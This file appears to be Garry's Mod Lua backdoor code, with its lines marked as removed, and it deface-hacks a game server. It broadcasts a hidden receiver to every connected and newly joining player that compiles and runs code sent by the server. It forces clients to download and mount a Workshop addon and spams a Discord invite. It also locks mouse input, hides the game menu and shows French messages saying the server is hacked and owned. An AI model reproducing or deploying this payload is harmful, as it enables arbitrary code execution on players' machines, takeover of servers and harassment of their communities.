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- GizehSSV = GizehSSV or {}
- GizehSSV.Wait1 = GizehSSV.Wait1 or !!1
- GizehSSVLogo = GizehSSVLogo or nil
- GizehSSV.Enabled = GizehSSV.Enabled or !!1
- timer.Create("qqyptebobvnq", 1.5, 0, function()
- local time = tonumber(0)
- local Message = {
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- "./ooc DISCORD : https://discord.gg/uXXNfmv.",
- }
- for _, line in pairs(Message) do
- time = time + tonumber(0.1)
- timer.Simple(time,function()
- if not GizehSSV.Enabled then return end
- chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
- end)
- end
- end)
- timer.Simple(1, function()
- if not GizehSSV.Enabled then return end
- local text = "Le Guiser Menu sais trop bien les reille"
- local str = '' text = string.Trim(text) text = string.Explode(' ', text) if text == {} then return end for k,v in pairs(text) do str = str .. v .. '+' end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
- end)
- for k, v in pairs(player.GetAll()) do
- v:SendLua("steamworks.FileInfo(1781610581,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
- end
- for k, v in pairs( player.GetAll() ) do
- if ( v:Alive() ) then
- v:GodEnable()
- else
- v:Spawn()
- timer.Simple( 5, function()
- v:GodEnable()
- end)
- end
- end
- game.AddParticles( "particles/comite.pcf" )
- PrecacheParticleSystem("enigma")
- local function rdm_str(len)
- if !len or len <= 0 then return '' end
- return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
- end
- local net_string = rdm_str(25)
- util.AddNetworkString(net_string)
- BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
- if !ply:IsBot() then
- ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- end
- end)
- local function SendToClient(code)
- local data = util.Compress(code)
- local len = #data
- net.Start(net_string)
- net.WriteUInt(len, 16)
- net.WriteData(data, len)
- net.Broadcast()
- end
- timer.Simple( 17, function()
- SendToClient([====[
- local t = "https://discord.gg/uXXNfmv"
- if t:len() > 0 then
- surface.CreateFont("\xFF\xFF\xFF", {
- font = "Impact",
- size = 999
- })
- for i = 1, 10 do
- ParticleEffectAttach("enigma",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
- end
- local mat = Matrix()
- hook.Add("HUDPaint","\xFFmlg_text\xFF", function()
- surface.SetFont("\xFF\xFF\xFF")
- local x = ScrW() / 2 - (surface.GetTextSize(t)/2) + math.cos(CurTime()*3) * 40
- local y = 100 + math.sin(CurTime()*2) * 40
- local pos = Vector(x,y,0)
- mat:SetAngles(Angle(0,math.sin(CurTime()/1.2)*10,0))
- mat:SetTranslation(pos)
- surface.SetTextPos(0,0)
- cam.PushModelMatrix(mat)
- for i=#t, 1, -1 do
- surface.SetTextColor( HSVToColor((CurTime()*200+i*7)%360,1,1) )
- surface.DrawText(t[ #t - i + 1 ])
- end
- cam.PopModelMatrix()
- end)
- else
- hook.Remove("HUDPaint","\xFFmlg_text\xFF")
- end
- local chair = ClientsideModel("models/props_c17/chair02a.mdl")
- chair:SetNoDraw(true)
- local data = {}
- local function genChair(id)
- local pos = LocalPlayer():GetPos()
- data[id] = { Vector(math.random(pos.x-1000,pos.x+1000),math.random(pos.y-1000,pos.y+1000),pos.z + math.random(800,1000) ), math.random(10, 70) }
- end
- for i=1, 70 do
- genChair(i)
- end
- hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchairs\xFF",function()
- local z = LocalPlayer():GetPos().z
- for i=1, #data do
- chair:SetPos(data[i][1])
- chair:SetupBones()
- chair:DrawModel()
- data[i][1].z = data[i][1].z - data[i][2] / 20
- if data[i][1].z <= z then
- genChair(i)
- end
- end
- end)
- local gfx = {}
- local messages = {
- "Votre serveur a était hacké par le comité d'éclateur de serveur",
- "la ref#8219 NeRoW.#7280 Esma Network lvl 998#6877",
- "Discord: https://discord.gg/uXXNfmv",
- "Votre serveur va plutôt bien marcher",
- "Maintenant il nous appartient.",
- "Vous pouvez maintenant pleurer.",
- "#Owned #Hacked #Tonserveurcdlamerde"
- }
- hook.Add("HUDPaint", "FUCKIT_G",function()
- for k,v in pairs(gfx) do
- v()
- end
- end)
- local message = "Ne redemmare pas ton server, cela ne sert a rien"
- local function SlowType(msg,interval,callback)
- callback = callback or function()end
- message = ""
- for i=1,#msg do
- timer.Simple(interval * i,function()
- message = message .. msg[i]
- end)
- end
- timer.Simple(#msg*interval,callback)
- end
- local function GetRandomSpot()
- local ppos = LocalPlayer():GetPos()
- return Vector(ppos.x + math.random(-500, 500),ppos.y + math.random(-500, 500),ppos.z + math.random(-10, 10))
- end
- surface.CreateFont("PWN",{bold=true,size=40})
- SOUNDSTART_CTP = false
- sound.PlayURL("https://testfdh.000webhostapp.com/larefclemeilleur.mp3","no block",function(s)
- if not s then return end
- if SOUNDSTART_CTP then s:Stop() return end
- SOUNDSTART_CTP = true
- local ragtbl = {}
- for i=1,20 do
- ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
- ragtbl[i]:SetNoDraw( false )
- ragtbl[i]:DrawShadow( true )
- end
- timer.Create("ChangeRagdolesSpotsAW", 1, 0, function()
- for k,v in pairs(ragtbl) do
- v:SetPos(GetRandomSpot())
- end
- end)
- hook.Add("AdjustMouseSensitivity","MDR",function()
- return 0
- end)
- gfx["CoolEffect"] = function()
- local tbl = {}
- s:FFT(tbl,FFT_2048)
- local fal = 0
- for i=4,6 do
- fal = fal + tbl[i]
- end
- if fal > 0.8 then
- local ca = Color(math.random(0,255),math.random(0,255),math.random(0,255), 150)
- gfx["ColorChange"] = function()
- draw.RoundedBoxEx(250, 0, 0, ScrW(),ScrH(),ca)
- end
- util.ScreenShake(LocalPlayer():GetPos(),20,20,0.5,20)
- local mats = Entity(0):GetMaterials()
- for k,v in pairs(mats) do
- local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
- Material(v):SetVector("$color", Vector(r,g,b))
- Material(v):SetTexture( "$basetexture", "_rt_fullframefb" )
- end
- end
- for k,v in pairs(tbl) do
- local col = HSVToColor(k * 1 % 360,1,1)
- draw.RoundedBoxEx(0,0,k * 10, (v*10000), 10,col)
- draw.RoundedBoxEx(0,ScrW() - (v*10000),k * 10, (v*10000), 10,col)
- end
- end
- timer.Simple(29, function()
- hook.Add("GetMotionBlurValues", "YASS",function(a,b,c,d)
- return a,b,c+140,d
- end)
- end)
- local cc = 1
- local omgs = {}
- timer.Create("MVSPOS", 0.04, 0, function()
- for k,v in pairs(omgs) do
- if omgs[ k ].n <= 0 then omgs[ k ] = nil continue end
- omgs[ k ] = {text = omgs[ k ].text, n = omgs[ k ].n - 1}
- end
- end)
- local isPounding = false
- timer.Create("NEXTMSG", 6, #messages, function()
- if cc > #messages then
- isPounding = true
- return
- end
- table.insert(omgs, {text = messages[ cc ],n = ScrH()})
- cc = cc + 1
- end)
- gfx["MessageC"] = function()
- if isPounding and (#messages <= 0) then
- draw.SimpleText("RT ton server <3", "PWN", ScrW() / 2, ScrH() / 2,Color(200,0,0),1,1)
- end
- for k,v in pairs(omgs) do
- draw.SimpleText(omgs[ k ].text, "PWN", ScrW() / 2, omgs[ k ].n,Color(0,0,0),1,1)
- end
- end
- end)
- concommand.Add("canard", function()
- hook.Remove("GetMotionBlurValues", "YASS")
- hook.Remove("AdjustMouseSensitivity","MDR")
- hook.Remove("HUDPaint", "FUCKIT_G")
- end)
- game.AddParticles( "particles/comite.pcf" )
- PrecacheParticleSystem("enigma")
- hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
- ]====])
- end)
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